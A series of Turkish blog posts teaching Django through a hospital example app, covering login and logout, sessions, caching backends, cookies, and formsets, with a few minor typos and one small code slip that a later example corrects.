Kullanıcı girişlerinden önce, yaptığımız tüm sayfaları yönetebileceğimiz bir yönetim sayfası hazırlayalım. Bunun için hastahane/urls.py dosyasına şu satırı ekleyelim.
url(r'^yonetim/',yonetim.views.yonetim)
Şimdi yonetim görünümünü tanımlayalım.
def yonetim(reqest):
 return render_to_response('yonetim.html')
Son olarak da yonetim şablonunu oluşturalım.
<!DOCTYPE html>
<html>
<head>
    <title>Yönetim İşlemleri</title>
    <link rel="stylesheet" type="text/css" href="/dosyalar/style.css" />
</head>
<body>

<h2>Yönetim İşlemleri</h2>
<div><a href="/doktorlar">Doktor İşlemleri</a></div>
<div><a href="/hasta-listesi">Hasta İşlemleri</a></div>
<div><a href="/poliklinik-likstesi">Poliklinik İşlemleri</a></div>

</body>
</html>
Artık sayfalara doğrudan ulaşabileceğimiz bir yönetim sayfamız var.
Şimdi gelelim asıl konumuza. Bir sayfa yaparken kullanıcının bu sayfayı görebilmesi için giriş yapmasını isteyebiliriz. Django tüm kullanıcı girişlerini otomatik olarak yapar. Kullanıcı girişleri için ön tanımlı olarak accounts/login, çıkış için ise accounts/logout adreslerini kullanır. Bu adresleri değiştirmek mümkündür. Fakat biz de bu adresler üzerinden çalışacağız. Şimdi hastahane/urls.py dosyasına şu satırları ekleyin.
 url(r'accounts/login/$','django.contrib.auth.views.login',
  {'template_name':'login.html'}),
 url(r'accounts/logout/$','django.contrib.auth.views.logout',
  {'next_page':'/accounts/login/'}),
İlk eklediğimiz url login sayfasına gidildiğinde login.html sayfasının yükleneceğini belirtiyor. İkinci yaptığımız işlem ise çıkış yapıldığında /accounts/login sayfasına yönlendirileceğini belirtiyor.
Şimdi login.html şablonunu yonetim/sablonlar içerisinde oluşturalım.
<!DOCTYPE html>
<html>
<head>
    <title>Yönetim Girişi</title>
    <link rel="stylesheet" type="text/css" href="/static/base.css" />
</head>
<body>
<h1>Kullanıcı Girişi</h1>

{% if form.errors %}
<div class="errornote">Kullanıcı adı veya parola hatalı.</div>
{% endif %}

<form method="POST">
{% csrf_token %}
<table>
    <tr>
        <td>{{form.username.label_tag}}</td>
        <td>{{form.username}}</td>
    </tr>
    <tr>
        <td>{{form.password.label_tag}}</td>
        <td>{{form.password}}</td>
    </tr>
</table>
<input type="submit" value="Giriş Yap" />

{% if next %}
    <input type="hidden" name="next" value="{{ next }}" />
{% else %}
    <input type="hidden" name="next" value="/yonetim/" />
{% endif %}
</form>

</body>
</html>


</body>
</html>
Giriş sayfasını tasarlamış olduk. Burada dikkatinizi çekmiştir. En son kontolünü yaptığımız next değişkeni, kullanıcının başka bir sayfadan giriş sayfasına yönlendirilip yönlendirilmediğini kontrol ediyor. Eğer kullanıcı başka bir sayfaya giriş yapmaya çalışırken giriş sayfasına yönlendirilmiş ise, giriş yaptıktan sonra tekrar o sayfaya yönlendirilecektir. Aksi durumda ise bizim belirttiğimiz yönetim sayfasına yönlendirilecektir. İleri de bunu daha iyi anlayacağız.
Şimdi daha önce hazırlamış olduğumuz yonetim.html sayfasına şu satırları ekleyelim. Bu satır ile giriş yapmış kullanıcının adını ve soyadını yazdırmış olacağız.
{% if request.user.is_authenticated %}
    <h3>Hoş geldin {{request.user.get_full_name}}</h3>
{% endif %}
Bu satırı eklemeden önce yonetim görünümünü şu şekilde değiştirin.
def yonetim(request):
 return render_to_response('yonetim.html',locals())
Ve aynı şablona kullanıcının çıkış yapabilmesi için çıkış bağlantısı ekleyelim.
<a href="/accounts/logout/">Çıkış</a>
İşlemlerimiz bu kadar. Tarayıcıdan http://localhost:8000/accounts/login/ yazdığınız zaman şu şekilde bir sayfa ile karşılaşacaksınız.
Burada eklediğiniz bir kullanıcı ile giriş yaptığınız zaman yönetim sayfasına yönlendirileceksiniz.
Kaynakça

18 Mayıs 2014 Pazar

Oturumlar ( Sessions)

Django oturumları, çerezleri kullanarak sağlar. İlk bağlanılmada 32 bit uzunluğunda rastgele 16 sistemde bir sayı oluşturulur. Bu çerez sonraki her bağlanmada istemciden sunucuya gönderilir. Django oturum bilgilerini bu çerezi anahtar kabul eden bir sözlükte tutar ve veritabanındaki django_session isimli tabloya kaydeder. Kullanıcı artık her bağlantı yaptığında çerez bilgileri ile veritabanındaki veriler kıyaslanır. Tabi ki tüm bunlar otomatik olarak Django tarafından yapılır. Biz oturum bilgilerini kaydedecek ve kullanıcının sonraki bağlantısında bu oturum bilgileri üzerinden işlemler yapacağız.
Oturum bilgileri çerezlerde olduğu gibi request.session nesnesinde saklanır. Tıpkı bir sözlük üzerinde çalışıyormuş gibi bu nesne üzerinde çalışabiliriz.
Şimdi daha önceki uygulamalarımıza dönerek oturumları kavrayalım. Hastahane uygulamamızda bulunan doktorları listelediğimiz bir görünümümüz vardı. Bu listede sıralama işlemi yaptıktan sonra herhangi bir doktoru düzenleyerek tekrar doktor listesine yönlendirdiğimizde eski haline geri geliyordu. İşte bu sorunu ortadan kaldırmak için oturumları kullanacağız.
##Sayfalama
def Doktor_listesi(request):
 ##kullanıcıdan gelen bir sıralama ölçütü var mı ona bakıldı
 if request.GET.get('siralama'):
  #var ise doktor_siralama oturumuna bu gelen değer atandı
  request.session['doktor_siralama'] = request.GET['siralama']
 #eğer doktor_siralama oturumu oluşturulmamışsa varsayılan olarak 1 değeri atandı
 if not 'doktor_siralama' in request.session:
  request.session['doktor_siralama'] = '1'
 
 #en son kriter olarak doktor_siralama oturumunun değeri kullanıldı.
 kiriter = request.session['doktor_siralama']
 
 sayfa = request.GET.get('sayfa',1)
 if kiriter:
  siralamaKriteleri = {
   '1':'adi',
   '2':'soyadi'
  }
  if kiriter in siralamaKriteleri:
   siralama = siralamaKriteleri[kiriter]

 doktorlar_tum = Doktor.objects.order_by(siralama)

 arama_formu = AramaFormu()
 if request.GET.get('aranacak_kelime'):
  arama_formu= AramaFormu(request.GET)
  if arama_formu.is_valid():
   aranacak_kelime = arama_formu.cleaned_data['aranacak_kelime']
   doktorlar_tum = Doktor.objects.filter(
   Q(adi__contains=aranacak_kelime) | Q(soyadi__contains=aranacak_kelime)
   )


 doktorlar_sayfalari = Paginator(doktorlar_tum,5)
 doktorlar = doktorlar_sayfalari.page(int(sayfa))
 doktor_sayisi = doktorlar_tum.count()
 return render_to_response('doktor_listesi.html',locals())
Burada yaptığımız işlemleri açıklama satırları ile açıklamaya çalıştık. Fakat tekrar üstünden geçelim. İlk önce kullanıcıdan gelen bir sıralama ölçütünün varlığını GET nesnesini kullanarak kontrol ettik. Eğer var ise şu satır ile
request.session['doktor_siralama'] = request.GET['siralama']
oturum oluşturduk. Gördüğünüz gibi bir sözlük anahtarına değer atamaktan hiç bir farkı yok. Eğer kullanıcıdan bir değer gelmemişse oturum oluşturulmayacaktır. Bu da varsayılan olarak yükleme yaparken hata ile karşılaşmamıza sebep olur. Bu yüzden oturumun oluşturulup oluşturulmadığını kontrol ettik. Eğer oluşturulmadı ise varsayılan olarak 1 değerini atadık.
Bu işlemleri yaptıktan sonra. Sıralama işlemini soyadına göre yapın. Daha sonra listedeki bir doktoru düzenle dedikten sonra düzenleyin. Otomatik olarak doktor listesine tekrar yönlendirilen sayfada sıralamanın soyadına göre olduğunu göreceksiniz. Tam da istediğimiz gibi değil mi?
Bu sayfadaki sayfalama işlemini de oturumlar ile yapmalıyız. Örneğin kullanıcı ikinci sayfada iken herhangi bir doktoru düzenler ise yönlendirme yapıldığında ilk sayfaya yönlendirilecektir. Bu da kullanıcının canını fazlası ile sıkar. Bu durumu engellemek için oturumları kullanacağız.
sayfa = request.GET.get('sayfa',1)
Satırı yerine aşağıdaki kodları yazıyoruz.
 if request.GET.get('sayfa'):
  request.session['doktor_sayfalama'] = request.GET['sayfa']
 if not 'doktor_sayfalama' in request.session:
  request.session['doktor_sayfalama'] ='1'
 sayfa = request.session['doktor_sayfalama']
Şimdi ikinci sayfada iken bir doktoru düzenlediğiniz zaman tekrardan ikinci sayfaya yönlendirileceksiniz. İşte bu şekilde bir sayfa tasarlamak daha kullanıcı dostudur. Bu yüzden sayfalarımızı tasarlarken kullanıcının canını sıkmayacak ve yormayacak şekilde tasarlamalıyız. Bu şekilde bir uygulama yapmak içinde oturumlar işimizi bir hayli kolaylaştırıyor.
Kaynakça

16 Mayıs 2014 Cuma

Caching

Caching yani ön bellekleme. Bu bu yazıda daha basit ve uygun olduğu için caching ifadesini kullanacağız. Caching daha sonra kullanmak üzere belirli bir yerde saklama işlemidir. Dinamik sitelerde kullanıcıya veriler gösterilirken veri tabanı bağlantısı , sorgulamalar , hesaplamalar gibi bir çok işkemden geçirilir. Eğer sitenin trafiği çok yüksek değilse sunucu bu işlemleri her seferinde yapmakta zorlanmayabilir. Fakat site trafiğinin çok yüksek olduğu durumlarda bu işlemler sunucuya ağır gelerek cevap veremeyeceği bir hal almasını sebep olabilir. İşte bu işlemlerin her seferinde tekrar tekrar yapmak yerine bir kere yaptıktan sonra saklayarak, bu saklanılan verinin kullanılmasına caching diyoruz.
Django caching olayını destekleyerek gelir. 3 türdür; Dosya Sistemi, Veritabanı ve bellek.
Dosya Sistemi
Sayfaların oluşturulduktan sonra bir anahtarlama şifresi ile dosya sistemine kaydedilerek aynı sayfanın tekrar istenilmesi durumunda bu dosyadan çağrılması durumudur. Bu kullanım için projenin settings.py dosyasına şu kodları ekliyoruz.
CACHES = {
    'default':{
        'BACKEND'   : 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION'  : '/home/mazlum/caching/'
    }
}
Burada CACHES değişkeni ile kullanacağımız caching yöntemini ve parametrelerini giriyoruz. Sözlük içerisindeki BACKEND anahtarı ile hangi caching yöntemini kullanacağımızı belirtiyoruz. LOCATION anahatarı ile ise dosyanın yolunu belirtiyoruz. Eğer windows kullanıyorsanız sizde şöyle bir şey olabilir.
'LOCATION' : 'C:/caching'
Veya daha önceden sıkça kullandığımız proje dizinini belirtebiliriz. Bunun için şu şekilde kullanabiliriz.
CACHES = {
    'default':{
        'BACKEND'   : 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION'  : os.path.join(ustDizin,'caching')
    }
}
Şimdi ayarlamayı yaptık. Kontrol etmek için Django kabuğunu kullanabiliriz. Django kabuğunu açarak şu kodları yazabilirsiniz.
>>>from django.core.cache import cache
>>>cache.set('anahtar','Ilk Caching',30)
>>>cache.get('anahtar')
Ilk Caching
İlk parametre olarak saklanacak verinin anahtarını ardından da değerini belirtiyoruz. Sayı ile belirttiğimiz kısım ise bu anahtarın ne kadar süre saklanacağını belirtiyor. Saniye cinsinden değer giriyoruz. Eğer 30 saniye geçtikten sonra tekrar cache.get('anahtar') ifadesini yazarsanız herhangi bir sonuç dönmediğini göreceksiniz. Dosya sisteminde belirttiğiniz yolda dosyalar oluştuğunu görebilirsiniz. Aynı şekilde belirttiğiniz süre bittikten sonra dosyalar silinecektir.
Veritabanı
settings.py dosyasında yaptığımız işlemler aynı olacak. Az önce bir dosya yolunu belirtmiştik. Burada ise saklama veri tabanına yapılacağı için ilk önce verilerin saklanacağı tabloyu oluşturmamız gerekiyor. Bunun için komut satırından şu komutu veriyoruz.
python manage.py createcachetable caching_table
Verilerin saklanacağı tabloyu oluşturduk. settings.py dosyasına şu kodları yazıyoruz.
CACHES = {
    'default':{
        'BACKEND'   : 'django.core.cache.backends.db.DatabaseCache',
        'LOCATION'  :  'caching_table',
    }
}
BACKEND anahtarı ile veritabanı caching yapacağımızı belirttik. LOCATION anahtarına az önce oluşturduğumuz tabloyu yazdık. Az önce yaptığımız yöntemin aynısını kullanarak kontrol edebilirsiniz.
Bellek
En hızlı Caching yöntemidir. Yapılan saklamaların hepsi bellektedir. Bu yüzden sistem kapatıldığında hepsi silinir. Bellek boyutu ne kadar büyük ise o kadar iyi caching yapılır.
Yerel Bellek
Yerel bellek caching'de Django'nun çalıştığı makinede caching yapılır. Bu caching için settings.py dosyasına yazmamız gerenler şunlar.
CACHES = {
    'default':{
        'BACKEND'   : 'django.core.cache.backends.locmem.LocMemCache',
    }
}
Dağıtık Bellek
Bellek zulalama en çok memcached sunucusu ile yapılır. Bu sunucu ile bir makineye birden çok istemci bağlantı kurabilir veya projeye birden çok caching sunucusu kurulabilir. Yerel makine web isteklerini karşılarken caching işlemi ile başka bir makine yapar.
memcached ilk önce kurmalıyız. Bunun için Linux'da şu komutları verebilirsiniz
$ sudo apt-get install memcached
$ sudo apt-get install python-memcache
Windows kullananlar buradan indirdikten sonra çıkarttıkları dizine gelerek yönetici olarak komut satırından şu komutu vermeliler.
memcached.exe -d install
Ardından yönetici olarak windows kontrol panelini açarak Sistem ve Güvenlik->Yönetimsel Araçlar->Hizmetler uygulamasını açın. memcached'i bularak üzerine çift tıklayın. Bu şekilde hizmeti başlatmış olacaksınız. Bilgisayarı yeniden başlattığınız da otomatik başlamısı için başlangıç türü Otomatik olmalıdır. Her şey doğru ise komut satırından netstat -ab yazdığınızda şöyle bir çıktı alacaksınız.
UDP    0.0.0.0:11211        *:*
[memcached.exe]
Şimdi python için memcached'i kuralım. İlk önce buradan memcached'ı indiriyoruz. Ardından dosyayı çıkarttığımız dizine girerek şu komutu veriyoruz.
python setup.py install
Kurulum işlemleri bu kadar. Şimdi settings.py dosyasında tanımlamaları yapabiliriz. Daha önce yaptıklarımızdan pek bir farkı yok aslında.
CACHES = {
    'default':{
        'BACKEND'   : 'django.core.cache.backends.memcached.MemcachedCache',
        'LOCATION'  : '127.0.0.1:11211',
    }
}
Burada Location olarak belirttiğimiz ip adresi caching işleminin yapılacağı makineyi belirtiyor. Bizim ki yerel makine olduğu için bu şekilde belirttik. Birden fazla makine tanımlayabilirsiniz.
CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
        'LOCATION': [
            '172.19.26.240:11211',
            '172.19.26.242:11211',
        ]
    }
}
Şimdi caching işlemini uygulayalım. İki şekilde caching yapabiliriz. Tüm siteye veya istenilen görünümlere.
Tüm siteye
Tüm siteye caching yapmak için aşağıdaki kodları settings.py dosyasında MIDDLEWARE_CLASSES deişkenine şu kodları ekliyoruz.
#...
'django.middleware.cache.UpdateCacheMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.cache.FetchFromCacheMiddleware',
#...
Projenizi yeniden başlattığınızda caching işlemi başlayacaktır. Sayfalar artık bellekten çekilecektir.
Görünümlere
Sadece belli görünümlere caching uygulamak isterseniz görünüm başına şu satırları yazabilirsiniz.
from django.views.decorators.cache import cache_page
@cache_page(60)
def gorunum_islevi(request):
    ....
Burada belirttiğimiz caching işleminin 60 saniye boyunca yapılacağını belirtiyor. Caching yapılırken eğer görünümler üzürinden yapacaksanız parametre olarak ön bellek adı belirtebilirsiniz. Eğer belirtilmezse varsayılan ön bellek kullanılır.
@cache_page(60,cache="cache_ismi")
def gorunum_islevi(request):
    ....
Yazının en başında belirtmiştik dosyalar kaydedilirken bir anahtara göre şifrelenerek kaydedilir. Burada parametre olarak bu anahtarı da verebiliriz.
@cache_page(60,key_prefix="anahtar")
def gorunum_islevi(request):
    ....
Görünümlere URL üzerinden Caching
Eğer istersek görünümlere caching yapma işlemini doğrudan url üzerinden yapabiliriz.
from django.views.decorators.cache import cache_page

urlpatterns = ('',
    (r'^gorunum-url/$', cache_page(60)(gorunum_islevi)),
)
Şablon İçerisinde Caching
Bazen daha da ayrıntıya girerek şablon içerisinde sadece belli bir bölüm üzerine caching yapmak isteyebiliriz. Bunu için kullanım yapısı şu şekildedir.
    {% load cache %}
    {% cache 2 ogranci_adi_onbellek %}

     {{ogrenci.adi}} 

    {% endcache %}
Burada ilk önce cache dahil edilir. Ardından
{% cache ..%}
...
{% endcache %}
ifadeleri arasına cache alınacak ifadeler yazılır. cache ifadesi en az iki paremetre alır. İlki cachhing süresi ikincisi ise adıdır. Örneğin bizim daha önce yaptığımız öğrenci listesi görünümünde öğrenci adını cacheden çekiyoruz. Eğer siz de denerseniz tüm öğrenci isimlerinin aynı olduğunu görebilirsiniz. Çünkü ilk öğrenci çekilirken öğrenci adı cache atılıyor ve her seferinde artık buradan çekiliyor. Kaynakça

14 Mayıs 2014 Çarşamba

Çerezler ( Cookies )

Çerezler, HTTP'de istemci ile sunucu arasındaki bağlantıların takibi için kullanılır. Çerezler, küçük bilgi parçacıklarıdır. Yani sunucu üzerinde belli işlemler yaptıktan sonra bu işlemler kaybolur. Bu işlemlerin kaybolmayıp her seferinde kaldığı yerden devam etmesini istediğiniz durumlarda çerezleri kullanabilirsiniz. Sunucu istemciye bu bilgi parçacığını verir, istemci de sonraki bağlantılarında bu bilgi parçacığını sunucuya tekrar iletir. Tarayıcıya ait tüm sayfalar kapatılana kadar çerezler korunur. Tüm sayfalar kapatıldıktan sonra çerezlerde kaybolur. Şimdi çerezlerin kullanımına bakalım.
Hastahane örneğimiz üzerinden devam edelim. İlk önce hastahane/url.py dosyasında şu url tanımlamasını yapalım.
url(r'^ilk-cerez',yonetim.views.ilk_cerez),
Daha sonra çerezleri kullanacağımız görünümü yonetim/views.py dosyasına ekliyoruz.
def ilk_cerez(request):
 if "takim" in request.COOKIES:
  return HttpResponse(u'Takım çerezi:%s' % request.COOKIES['takim'])
 else:
  return HttpResponse(u'Takım çerezi bulunamadı')

asdasd
Gördüğünüz gibi burada herhangi bir çerez tanımlaması yapmadık. Henüz takim çerezi tanımlanmadığı için ekran çıktısı Takım çerezi bulunamadı. şeklinde olacaktır. Şimdi bu görünümü çerezin değerini GET metodu ile alacak şekilde değiştirelim.
def ilk_cerez(request):
 if "takim" in request.COOKIES:
  #Cookie'ye ulaştığımız satır
  takim_cerezi = request.COOKIES['takim_cerezi']
  return HttpResponse(u'Takım çerezi:%s' % takim_cerezi.decode('utf-8'))
 else:
  takim_cerezi = request.GET.get("takim")
  if not takim_cerezi:
   takim_cerezi = "Türkiye"
  response = HttpResponse(u'Takım çerezi yoktu. Şu değer ile oluşturuluyor: %s' % takim_cerezi.decode("utf-8"))
  #Cookie oluşturduğumuz satır
  response.set_cookie('takim_cerezi',takim_cerezi)
  return response
Eğer GET ile kullanıcıdan bir değer gönderildiyse bunu takim_cerezi'ne değer olarak atadık. Kullanıcı bir değer göndermez ise varsayılan olarak Türkiye değerini verdik. Tarayıcıdan localhost:8000/ilk-cerez değerini ilk girişinizde takim çerezi henüz oluşturulmadığı için koddaki else bloğu çalışacak ve oluşturulacaktır. Bu yüzden çıktı şu şekilde olacaktır.
Django çerezleri request.COOKIES nesnesinde barındırır. Bu nesne bir sözlük gibi davranır. Sayfa ilk tıklandığında takim_cerezi isminde bir çerez tarayıcıda bulunmayacaktır. Bu nedenle else bloğu çalıştırılacaktır. Çerez response.set_cookie('takim',takim_cerezi) satır oluşturulacaktır. Bu çerez istemciye gönderilecektir. İstemci bu çerezi alıp saklayacaktır. Artık sayfa her yenilendiğinde istemci bu çerezi geri gönderecektir. Bu yüzden sayfa bir daha yenilendiğinde çerez oluşturulmuş olduğu için görünüm şu şekilde olacaktır.
Eğer chrome kullanıcısı iseniz https://support.google.com/chrome/answer/95647?hl=tr adresinden çerezleri yönetmeyi öğrenebilirsiniz.
Eğer firefox kullanıcısı iseniz http://support.mozilla.org/tr/kb/%C3%87erez%20Y%C3%B6netimi adresinden çerezleri yönetmeyi öğrenebilirsiniz.
Çerezler oluşturulurken bazı parametreler alabilirler. Daha önce söylediğimiz gibi çerezlerin ömrü varsayılan olarak tarayıcı kapanana kadardır. Eğer biz çerezin ömrünü belirlemek istersek expires parametresini kullanabiliriz. Örneğin oluşturduğumuz çerezin ömrünü bir gün yapmak istersek görünümü şu şekilde değiştirebiliriz.
import time
def ilk_cerez(request):
 if "takim_cerezi" in request.COOKIES:
  #Cookie'ye ulaştığımız satır
  takim_cerezi = request.COOKIES['takim_cerezi']
  return HttpResponse(u'Takım çerezi:%s' % takim_cerezi.decode('utf-8'))
 else:
  takim_cerezi = request.GET.get("takim")
  if not takim_cerezi:
   takim_cerezi = "Türkiye"
  gun = 1
  son_tarih = time.strftime('%a, %d-%b-%Y %H:%M:%S GMT',time.localtime(time.time()+gun*24*60*60))
  response = HttpResponse(u'Takım çerezi yoktu. Şu değer ile oluşturuluyor: %s' % takim_cerezi.decode("utf-8"))
  #Cookie oluşturduğumuz satır
  response.set_cookie('takim_cerezi',takim_cerezi,expires=son_tarih)
  return response
Şimdi tarayıcıdan kontrol edelim.
Kaynakça

12 Mayıs 2014 Pazartesi

Form Kümeleri

Bir sayfada birden çok form ile çalışmaya form kümeleri(formsets) denir. Yani bir sayfada birden çok form ile çalışmak için form kümelerini kullanacağız. forms.py dosyası içerisindeki HastaFormu'nu şu şekilde düzenliyoruz.
class HastaFormu(forms.Form):
 adi = forms.CharField()
 soyadi = forms.CharField()
Form kümeleri sayesinde bir sayfada birden fazla Doktor veya Hasta ekleme olanağımız olacak. Şimdi komut satırına geçiyoruz.
>>> from yonetim.forms import *
>>> from django.forms.formsets import formset_factory
>>> HastaFormKumesi = formset_factory(HastaFormu)
>>> formkumesi = HastaFormKumesi()
Form kümesini oluşturmuş olduk. Şimdi ekrana bastıralım.
>>> print formkumesi

<input id="id_form-TOTAL_FORMS" name="form-TOTAL_FORMS" type="hidden" value="1" /><input id="id_form-INITIAL_FORMS" name="form-INITIAL_FORMS" type="hidden" value="0" /><input id="id_form-MAX_NUM_FORMS" name="form-MAX_NUM_FORMS" type="hidden" value="1000" />
<tr><th><label for="id_form-0-adi">Adi:</label></th><td><input id="id_form-0-adi" name="form-0-adi" type="text" /></td></tr>
<tr><th><label for="id_form-0-soyadi">Soyadi:</label></th><td><input id="id_form-0-soyadi" name="form-0-soyadi" type="text" /></td></tr>
Form kümesi burada bir adet form barındırmaktadır.
Form Kümelerinin Başlangıç Değerleri
Form kümelerine başlangıç değerleri verebiliriz. Form kümelerine başlangıç değeri verebilmek için her forma bir sözlük hazırlayıp bu sözlükleri bir listeye ekleyip initial parametresine bu listeyi vermemiz gerekiyor.
>>> HastaFormKumesi = formset_factory(HastaFormu,extra=2)
>>> hasta1 = {'adi':'Mustafa','soyadi':'Yılmaz'}
>>> hasta2 = {'adi':'Tahsin','soyadi':'Ufuk'}
>>> formkumesi = HastaFormKumesi(initial=[hasta1,hasta2])
Burada kullandığımız extra parametresi varsayılan değeri belirtilmiş formlardan ayrı olarak kaç adet boş form geleceğini belirtiyor. extra parametresinin varsayılan değeri 1'dir.
>>>> print formkumesi
<input id="id_form-TOTAL_FORMS" name="form-TOTAL_FORMS" type="hidden" value="4" /><input id="id_form-INITIAL_FORMS" name="form-INITIAL_FORMS" type="hidden" value="2" />
<input id="id_form-MAX_NUM_FORMS" name="form-MAX_NUM_FORMS" type="hidden" value="1000" />
<tr><th><label for="id_form-0-adi">Adi:</label></th><td><input id="id_form-0-adi" name="form-0-adi" type="text" value="Mustafa" /></td></tr>
<tr><th><label for="id_form-0-soyadi">Soyadi:</label></th><td><input id="id_form-0-soyadi" name="form-0-soyadi" type="text" value="Yılmaz" /></td></tr>
<tr><th><label for="id_form-1-adi">Adi:</label></th><td><input id="id_form-1-adi" name="form-1-adi" type="text" value="Tahsin" /></td></tr>
<tr><th><label for="id_form-1-soyadi">Soyadi:</label></th><td><input id="id_form-1-soyadi" name="form-1-soyadi" type="text" value="Ufuk" /></td></tr>
<tr><th><label for="id_form-2-adi">Adi:</label></th><td><input id="id_form-2-adi" name="form-2-adi" type="text" /></td></tr>
<tr><th><label for="id_form-2-soyadi">Soyadi:</label></th><td><input id="id_form-2-soyadi" name="form-2-soyadi" type="text" /></td></tr>
<tr><th><label for="id_form-3-adi">Adi:</label></th><td><input id="id_form-3-adi" name="form-3-adi" type="text" /></td></tr>
<tr><th><label for="id_form-3-soyadi">Soyadi:</label></th><td><input id="id_form-3-soyadi" name="form-3-soyadi" type="text" /></td></tr>
Form Yönetim Değerleri
Tarayıcıdan Django'ya bir form kümesi gönderildiğinde bu form kümesinde kaç adet form olduğu(form-TOTAL_FORMS) ve kaç tanesinin başlangıç değerlerinin olduğu(form-INITIAL_FORMS) belirtilmelidir. Django bunu kendisi halleder. Yukarıdaki çıktıya dikkat ederseniz, ilk elemanlar bu bahsettiklerimizdir. Özelliklerinde gizli olduklarını görebilirsiniz. Eğer isterseniz sadece bu elemanları da görebilirsiniz.
>>> print formkumesi.management_form
<input id="id_form-TOTAL_FORMS" name="form-TOTAL_FORMS" type="hidden" value="4" />
<input id="id_form-INITIAL_FORMS" name="form-INITIAL_FORMS" type="hidden" value="2" />
<input id="id_form-MAX_NUM_FORMS" name="form-MAX_NUM_FORMS" type="hidden" value="1000" />
Form Kümelerinin Denetimi
Form kümelerinin denetiminin form denetiminden farkı yoktur. Burada veri gönderirken form-TOTAL_FORMS, form-INITIAL_FORMS, form-MAX_NUM_FORMS değerlerini de göndermeliyiz.
>>> veri = {
... 'form-TOTAL_FORMS':'1',
... 'form-INITIAL_FORMS':'0',
... 'form-MAX_NUM_FORMS':'',
... 'form-0-adi':'Cuney',
... 'form-0-soyadi':'Gudek',
... }
>>> formkumesi = HastaFormKumesi(veri)
>>> formkumesi.is_valid()
True
Hatalı bir veri gönderelim.
>>> veri = {
... 'form-0-adi':'Tolga',
... 'form-0-soyadi':'Sahin'
... }
>>> formkumesi = HastaFormKumesi(veri)
>>> formkumesi.is_valid()
Traceback (most recent call last):
Form kumesindeki hataları errors özelliği ile görebiliriz.
>>> formkumesi.errors
Modellerden Form Kümesi Oluşturmak
Az önce yaptıklarımızda ufak değişiklikler yapacağız. Bu sefer Doktor Modelini kullanarak form kümesi oluşturalım.
>>> from django.forms.models import modelformset_factory
>>> from yonetim.models import *
>>> DoktorFormuKumesi = modelformset_factory(Doktor)
>>> formkumesi=DoktorFormuKumesi()
<input id="id_form-TOTAL_FORMS" name="form-TOTAL_FORMS" type="hidden" value="11" />
<input id="id_form-INITIAL_FORMS" name="form-INITIAL_FORMS" type="hidden" value="10" />
<input id="id_form-MAX_NUM_FORMS" name="form-MAX_NUM_FORMS" type="hidden" value="1000" />
<tr><th><label for="id_form-0-adi">Adınız:</label></th><td><input id="id_form-0-adi" maxlength="50" name="form-0-adi" type="text" value="Ali" /></td></tr>
<tr><th><label for="id_form-0-soyadi">Soyadınız:</label></th><td><input id="id_form-0-soyadi" maxlength="50" name="form-0-soyadi" type="text" value="hikmet" /></td></tr>
<tr><th><label for="id_form-0-yas">Yaşınız:</label></th><td><input id="id_form-0-yas" name="form-0-yas" type="number" /></td></tr>
<tr><th><label for="id_form-0-telefon">Telefon Numaranız:</label></th><td><input id="id_form-0-telefon" maxlength="50" name="form-0-telefon" type="text" /></td></tr>
<tr><th><label for="id_form-0-eposta">E-Posta Adresiniz:</label></th><td>
 <input id="id_form-0-eposta" maxlength="75" name="form-0-eposta" type="email" value="ali@mail.com" />
 <input id="id_form-0-id" name="form-0-id" type="hidden" value="3" /></td></tr>
<tr><th><label for="id_form-1-adi">Adınız:</label></th><td><input id="id_form-1-adi" maxlength="50" name="form-1-adi" type="text" value="Okan" /></td></tr>
<tr><th><label for="id_form-1-soyadi">Soyadınız:</label></th><td><input id="id_form-1-soyadi" maxlength="50" name="form-1-soyadi" type="text" value="Vurdu" /></td></tr>
<tr><th><label for="id_form-1-yas">Yaşınız:</label></th><td><input id="id_form-1-yas" name="form-1-yas" type="number" value="35" /></td></tr>
<tr><th><label for="id_form-1-telefon">Telefon Numaranız:</label></th><td><input id="id_form-1-telefon" maxlength="50" name="form-1-telefon" type="text" /></td></tr>
<tr><th><label for="id_form-1-eposta">E-Posta Adresiniz:</label></th><td><input id="id_form-1-eposta" maxlength="75" name="form-1-eposta" type="email" value="o@vurdu.com" />
Form Kümelerinin Görünümler ile Kullanılması
Çoklu doktor ekleyebileceğimiz bir form uygulaması yapalım. urls.py dosyasına şu kodu ekliyoruz.
url(r'^coklu-doktor-ekle',yonetim.views.coklu_doktor_ekle),
yonetim/views.py dosyasına görünümü ekliyoruz.
from django.forms.models import modelformset_factory
def coklu_doktor_ekle(request):
 DoktorFormuKumesi = modelformset_factory(Doktor,can_delete=True,extra=2)
 if request.method == "POST":
  formkumesi = DoktorFormuKumesi(request.POST)
  if formkumesi.is_valid():
   formkumesi.save()
   return HttpResponseRedirect('/coklu-doktor-ekle/')
 else:
  formkumesi = DoktorFormuKumesi()

 return render_to_response('coklu_doktor.html',locals(),context_instance=RequestContext(request))
Doktor modelinden form kümesi oluşturduk. Burada kullandığımız can_delete parametresi her doktor için işaret kutusu koyacaktır. extra parametresi ile 2 adet boş ekleme formu gelmesini sağladık.
coklu_doktor.html
<!DOCTYPE html>
<html>
<head>
    <title>Çoklu Doktor Ekleme</title>
    <link rel="stylesheet" type="text/css" href="/dosyalar/base.css" />
</head>
<body>
<form method="POST">
   {% csrf_token %}
    {{formkumesi.management_form}}
    {% for form in formkumesi %}
        <table border="1">
            {{ form }}
        </table>
    {% endfor %}
<input type="submit" value="Gönder">
</form>

</body>
</html>
Gördüğünüz gibi veritabanımızda olan tüm doktorları ve altında da 2 adet yeni doktor ekleme formu getirdi.

Kaynakça
  • Mustafa Başer Django Kitabı

8 Mayıs 2014 Perşembe

Modellerden Form Oluşturma

Daha önceki form işlemlerinde modellerdeki alanlara göre formlar oluşturarak bu formları kullandık. Bu işlem biraz zahmetliydi. Yani, aynı alanı hem model içerisinde hemde form içerisinde yazıyorduk. Django bizi bu zahmetten kurtarıyor. Peki nasıl? Formları doğrudan modeller üzerinden oluşturacağız.
